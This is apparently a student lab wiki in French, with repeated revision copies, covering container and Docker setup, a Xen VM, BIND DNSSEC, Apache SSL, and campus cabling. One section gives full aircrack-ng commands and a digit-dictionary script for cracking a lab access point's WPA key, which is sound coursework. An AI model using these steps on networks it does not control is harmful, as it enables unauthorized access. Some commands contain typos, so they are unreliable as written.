xl console hercule

Création des partitions logiques sur Cordouan pour la machine virtuelle :
lvcreate -L 10G -n /dev/virtual/hercule-home -v
lvcreate -L 10G -n /dev/virtual/hercule-var -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :
'phy:/dev/virtual/hercule-home,xvdb1,w',
'phy:/dev/virtual/hercule-var,xvdb2,w'

On relance la VM.
On formate les disques créés sur la machine :
mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdb2

Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :
/dev/xvdb1 /home ext4 defaults 0 2
Puis on effectue le montage :
mount -a

Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire :
mount /dev/xvdb2 /mnt

On déplace ensuite le contenu de var dans le point de montage précédemment créé :
mv /var/* /mnt

Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :
/dev/xvdb2 /var ext4 defaults 0 2

On applique les modifications :
mount -a

===Service internet===

====Serveur DNS====

Achat du domaine hercule.pw sur gandi.

Installation de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :
On créé un fichier de configuration de zone db.hercule.pw dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.hercule.space. root.hercule.space (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.hercule.space.
IN NS ns6.gandi.net
@ IN A 193.48.57.183
ns IN A 193.48.57.183
www IN A 193.48.57.183

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/db.hercule.space";
allow-transfer {217.70.177.40;};
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

Redémarrage du serveur bind9 :
service bind9 restart

Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP :
name : ns.hercule.space
IP address : 193.48.57.183

Changement du nameserver principal sur Gandi (A FAIRE):
DNS 1 : ns.hercule.space

On laisse ceux de Gandi pour les deux serveurs esclaves

ZONES INVERSES A FAIRE

====DNSSEC====

Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :
dnssec-enable yes;

Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs

Création de la clef asymétrique de signature de clefs de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space
:
Création de la clef asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space

On renomme ces clef :
hercule.space-ksk.key
hercule.space-zsk.key

Puis on les inclus dans le fichier /etc/bind/db.hercule.space
$include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key
$include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key

On signe les enregistrements de la zone :
dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :
file "/etc/bind/db.hercule.space.signed";

On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.

====Serveur Apache====

Création du dossier /var/www/www.hercule.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf

<VirtualHost 193.48.57.183:443>
ServerName www.hercule.space
ServerAlias hercule.space
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt
SSLCertificateKeyFile /etc/ssl/private/hercule.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

<VirtualHost 193.48.57.183:80>
ServerName www.hercule.space
ServerAlias hercule.space
Redirect / https://www.hercule.space
</VirtualHost>

Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :

Listen 80 443

On active enfin le module SSL, notre site, et on redémarre le service apache :
a2enmod ssl
a2ensite hercule.space.conf
service apache2 restart

===Crackage de clé WPA===

Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :

$ airmon-ng start wlp2s0mon

Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :

$ airodump-ng wlp2s0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon

Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :

#!/bin/bash
charset=({0..9})
permute(){
(($1 == 0)) && { echo "$2"; return; }
for char in "${charset[@]}"
do
permute "$((${1} - 1 ))" "$2$char"
done
}
permute "$1"

Que nous laçons en exécutant :

$ ./comb.sh 8 >> dictionnaire.txt

Le crack est effectué en lançant la commande :

$ aircrack-ng -a2 -b 04:DA:D2:9C:50:56 -w /path_to_file/dictionnaire.txt /path_to_file/*.cap

Nous récupérons la clé après quelques heures de calcul :

[[Fichier:Crack groupe7.png|600px]]

TP sysres IMA5sc 2018/2019 G7

2018-12-17T13:44:17Z

Nmehanna : /* Crackage de clé WPA */

= Wiki de TP =

=TP GIS=

==Conteneurs "à la main"==

===Mise en place des conteneurs===

*'''Création d'une partition''':
dd if=/dev/zero of=/disk1 bs=1024K count=10240

*'''Formatage''' :
mtfs.etx4 /disk1

*'''Montage de la partition''':
mount /disk1 /mnt

*'''Installation d'un système Debian''':
debootstrap --include=apache2,nano stable /mnt

*'''Préparation du montage du pseudo système de fichier /proc''':
echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab

*''' Démontage ''':
umount /mnt

*'''Copie en 2 exemplaires''':
cp /disk1 /disk2
cp /disk1 /disk3

*'''Montage des 3 partitions :'''
mount -oloop /disk1 /mnt/dsk1
mount -oloop /disk2 /mnt/dsk2
mount -oloop /disk3 /mnt/dsk3

*'''Création du processus isolé par unshare''':
unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c "mount /proc ; /bin/bash"

===Configuration réseau===
*'''Création d'un commutateur logiciel''':
ip link add mehcret2 type bridge

*'''Création des interfaces virtuelles:'''
ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

*'''Ajout d'interfaces dans le commutateur :'''
ip link set vif1 master mehcret2
ip link set vif2 master mehcret2
ip link set vif3 master mehcret2
ip link set vif4 master bridge

*'''Activation des interfaces''':
ip link set eth0 up
ip link set eth1 up

*'''Récupération du PID des conteneurs :'''
ps auxwww | grep unshare

*'''Ajout des interfaces dans les conteneurs :'''
ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)
ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)
ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)
ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)

*'''Activation du pont:'''
ip address add dev mehcret2 192.168.60.0/24

*'''Attribution des adresses:'''
ip address add dev eth0 192.168.60.51/24 (dsk1)
ip address add dev eth0 192.168.60.52/24 (dsk2)
ip address add dev eth0 192.168.60.53/24 (dsk3)
ip address add dev eth1 172.26.145.67/24 (dsk2)
ip route add default via 172.26.145.254 (dsk2)

*'''Activation :'''
ip link set eth0 up
ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set vif4 up
ip link set mehcret2 up

On peut désormais pinger entre les différents conteneurs.

===Configuration des serveurs Web===

Nous devons maintenant mettre en place les serveurs apache.

Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants :

- mndtMehcret A 172.26.145.67 (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)

- web1Mehcret CNAME mndtMehcret (Serveur web du conteneur 1)

- web2Mehcret CNAME mndtMhecret (Serveur web du conteneur 3)

On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :

<VirtualHost *:80>
ServerName web1mehcret.plil.space
Options Indexes FollowSymLinks
DocumentRoot /var/www/html/web1mehcret/
</VirtualHost>

On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web.

Il faut maintenant mettre en place le reverse proxy.
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :

<VirtualHost *:80>
ServerName mndtMehcret.plil.space
ProxyPass "/web1" "http://192.168.60.51/"
ProxyPassReverse "/web1" "http://192.168.60.51/"
ProxyPass "/web2" "http://"http://192.168.60.53/"
ProxyPassReverse "/web2" "http://192.168.60.53/"
</VirtualHost>

Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.

Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :

$ service apache2 restart

Pour utiliser apache en mode reverse proxy, on execute la commande :

$ a2enmod proxy proxy_http

11h25 : Serveurs Web unshare OK

==Conteneurs Docker==

Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.
Nous exécutons ensuite la commande :
$ iptables-save
Puis on redémarre le service Docker :
$ service docker restart

Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.

Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :
$ docker run -i -t debian

Dans le conteneur, nous ajoutons le proxy de l'école :
$ export http_proxy=http://proxy.polytech-lille.fr:3128/

Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:
$ apt-get update
$ apt-get install apache2, nano, vim

On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires :

$ docker commit [IDduConteneur] mehcret

On créé un réseau Docker pour isoler nos conteneurs ensemble :

$ docker network create --driver bridge mehcretnetwork

Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine :

$ docker run -i --network mehcretnetwork --name mehcret1 mehcret
$ docker run -i --network mehcretnetwork --name mehcret2 mehcret
$ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret

Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.

10h30 Serveurs Web (docker) OK

=TP PRA=

Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.

==Tâche 5 : Câblage, connexion SR52, cordouan==

===Connexion des routeurs au réseau de l'école===

*'''Connexion SR52 - Routeur ISR4221 (E306)'''

Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.

Sur le routeur, on passe le port 21 sur le vlan 131 :

config t
int gi1/0/21
switchport access vlan 131
write

En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.

Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :

<gallery mode="nolines" widths=500px heights=400px>

File:TableVlansInterfacesSR52.jpg

File:LedSR52.jpg

</gallery>

*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''

En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.

===Connexion des commutateurs aux routeurs===

*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''

Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.

*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''

Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.

*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''

La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.

*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''

La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.

===Connexions au serveur Cordouan===

Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM.

*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''

Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.

*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''

Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.

===Connexion des commutateurs aux points d'accès===

===Schéma résumant le câblage réalisé :===

[[Fichier:ArchitectureMehCret.png|1500px]]

==Installation des systèmes d'exploitation==

===Création de la machine virtuelle===

Création d'une machine virtuelle sur cordouan.insecserv.deule.net :

xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen

Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg

vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']
xen create hercule.cfg

On vérifie que la machine est bien créée en s'y connectant :

xl console hercule

Création des partitions logiques sur Cordouan pour la machine virtuelle :
lvcreate -L 10G -n /dev/virtual/hercule-home -v
lvcreate -L 10G -n /dev/virtual/hercule-var -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :
'phy:/dev/virtual/hercule-home,xvdb1,w',
'phy:/dev/virtual/hercule-var,xvdb2,w'

On relance la VM.
On formate les disques créés sur la machine :
mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdb2

Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :
/dev/xvdb1 /home ext4 defaults 0 2
Puis on effectue le montage :
mount -a

Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire :
mount /dev/xvdb2 /mnt

On déplace ensuite le contenu de var dans le point de montage précédemment créé :
mv /var/* /mnt

Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :
/dev/xvdb2 /var ext4 defaults 0 2

On applique les modifications :
mount -a

===Service internet===

====Serveur DNS====

Achat du domaine hercule.pw sur gandi.

Installation de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :
On créé un fichier de configuration de zone db.hercule.pw dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.hercule.space. root.hercule.space (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.hercule.space.
IN NS ns6.gandi.net
@ IN A 193.48.57.183
ns IN A 193.48.57.183
www IN A 193.48.57.183

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/db.hercule.space";
allow-transfer {217.70.177.40;};
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

Redémarrage du serveur bind9 :
service bind9 restart

Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP :
name : ns.hercule.space
IP address : 193.48.57.183

Changement du nameserver principal sur Gandi (A FAIRE):
DNS 1 : ns.hercule.space

On laisse ceux de Gandi pour les deux serveurs esclaves

ZONES INVERSES A FAIRE

====DNSSEC====

Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :
dnssec-enable yes;

Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs

Création de la clef asymétrique de signature de clefs de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space
:
Création de la clef asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space

On renomme ces clef :
hercule.space-ksk.key
hercule.space-zsk.key

Puis on les inclus dans le fichier /etc/bind/db.hercule.space
$include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key
$include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key

On signe les enregistrements de la zone :
dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :
file "/etc/bind/db.hercule.space.signed";

On communique la partie publique de la KSK à Gandi dans l'onglet DNSSEC

====Serveur Apache====

Création du dossier /var/www/www.hercule.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf

<VirtualHost 193.48.57.183:443>
ServerName www.hercule.space
ServerAlias hercule.space
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt
SSLCertificateKeyFile /etc/ssl/private/hercule.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

<VirtualHost 193.48.57.183:80>
ServerName www.hercule.space
ServerAlias hercule.space
Redirect / https://www.hercule.space
</VirtualHost>

Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :

Listen 80 443

On active enfin le module SSL, notre site, et on redémarre le service apache :
a2enmod ssl
a2ensite hercule.space.conf
service apache2 restart

===Crackage de clé WPA===

Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :

$ airmon-ng start wlp2s0mon

Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :

$ airodump-ng wlp2s0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon

Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :

#!/bin/bash
charset=({0..9})
permute(){
(($1 == 0)) && { echo "$2"; return; }
for char in "${charset[@]}"
do
permute "$((${1} - 1 ))" "$2$char"
done
}
permute "$1"

Que nous laçons en exécutant :

$ ./comb.sh 8 >> dictionnaire.txt

Le crack est effectué en lançant la commande :

$ aircrack-ng -a2 -b 04:DA:D2:9C:50:56 -w /path_to_file/dictionnaire.txt /path_to_file/*.cap

Nous récupérons la clé après quelques heures de calcul :

[[Fichier:Crack groupe7.png|600px]]

TP sysres IMA5sc 2018/2019 G7

2018-12-17T13:43:53Z

Nmehanna : /* Crackage de clé WPA */

= Wiki de TP =

=TP GIS=

==Conteneurs "à la main"==

===Mise en place des conteneurs===

*'''Création d'une partition''':
dd if=/dev/zero of=/disk1 bs=1024K count=10240

*'''Formatage''' :
mtfs.etx4 /disk1

*'''Montage de la partition''':
mount /disk1 /mnt

*'''Installation d'un système Debian''':
debootstrap --include=apache2,nano stable /mnt

*'''Préparation du montage du pseudo système de fichier /proc''':
echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab

*''' Démontage ''':
umount /mnt

*'''Copie en 2 exemplaires''':
cp /disk1 /disk2
cp /disk1 /disk3

*'''Montage des 3 partitions :'''
mount -oloop /disk1 /mnt/dsk1
mount -oloop /disk2 /mnt/dsk2
mount -oloop /disk3 /mnt/dsk3

*'''Création du processus isolé par unshare''':
unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c "mount /proc ; /bin/bash"

===Configuration réseau===
*'''Création d'un commutateur logiciel''':
ip link add mehcret2 type bridge

*'''Création des interfaces virtuelles:'''
ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

*'''Ajout d'interfaces dans le commutateur :'''
ip link set vif1 master mehcret2
ip link set vif2 master mehcret2
ip link set vif3 master mehcret2
ip link set vif4 master bridge

*'''Activation des interfaces''':
ip link set eth0 up
ip link set eth1 up

*'''Récupération du PID des conteneurs :'''
ps auxwww | grep unshare

*'''Ajout des interfaces dans les conteneurs :'''
ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)
ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)
ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)
ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)

*'''Activation du pont:'''
ip address add dev mehcret2 192.168.60.0/24

*'''Attribution des adresses:'''
ip address add dev eth0 192.168.60.51/24 (dsk1)
ip address add dev eth0 192.168.60.52/24 (dsk2)
ip address add dev eth0 192.168.60.53/24 (dsk3)
ip address add dev eth1 172.26.145.67/24 (dsk2)
ip route add default via 172.26.145.254 (dsk2)

*'''Activation :'''
ip link set eth0 up
ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set vif4 up
ip link set mehcret2 up

On peut désormais pinger entre les différents conteneurs.

===Configuration des serveurs Web===

Nous devons maintenant mettre en place les serveurs apache.

Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants :

- mndtMehcret A 172.26.145.67 (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)

- web1Mehcret CNAME mndtMehcret (Serveur web du conteneur 1)

- web2Mehcret CNAME mndtMhecret (Serveur web du conteneur 3)

On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :

<VirtualHost *:80>
ServerName web1mehcret.plil.space
Options Indexes FollowSymLinks
DocumentRoot /var/www/html/web1mehcret/
</VirtualHost>

On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web.

Il faut maintenant mettre en place le reverse proxy.
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :

<VirtualHost *:80>
ServerName mndtMehcret.plil.space
ProxyPass "/web1" "http://192.168.60.51/"
ProxyPassReverse "/web1" "http://192.168.60.51/"
ProxyPass "/web2" "http://"http://192.168.60.53/"
ProxyPassReverse "/web2" "http://192.168.60.53/"
</VirtualHost>

Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.

Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :

$ service apache2 restart

Pour utiliser apache en mode reverse proxy, on execute la commande :

$ a2enmod proxy proxy_http

11h25 : Serveurs Web unshare OK

==Conteneurs Docker==

Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.
Nous exécutons ensuite la commande :
$ iptables-save
Puis on redémarre le service Docker :
$ service docker restart

Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.

Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :
$ docker run -i -t debian

Dans le conteneur, nous ajoutons le proxy de l'école :
$ export http_proxy=http://proxy.polytech-lille.fr:3128/

Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:
$ apt-get update
$ apt-get install apache2, nano, vim

On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires :

$ docker commit [IDduConteneur] mehcret

On créé un réseau Docker pour isoler nos conteneurs ensemble :

$ docker network create --driver bridge mehcretnetwork

Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine :

$ docker run -i --network mehcretnetwork --name mehcret1 mehcret
$ docker run -i --network mehcretnetwork --name mehcret2 mehcret
$ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret

Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.

10h30 Serveurs Web (docker) OK

=TP PRA=

Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.

==Tâche 5 : Câblage, connexion SR52, cordouan==

===Connexion des routeurs au réseau de l'école===

*'''Connexion SR52 - Routeur ISR4221 (E306)'''

Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.

Sur le routeur, on passe le port 21 sur le vlan 131 :

config t
int gi1/0/21
switchport access vlan 131
write

En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.

Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :

<gallery mode="nolines" widths=500px heights=400px>

File:TableVlansInterfacesSR52.jpg

File:LedSR52.jpg

</gallery>

*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''

En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.

===Connexion des commutateurs aux routeurs===

*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''

Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.

*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''

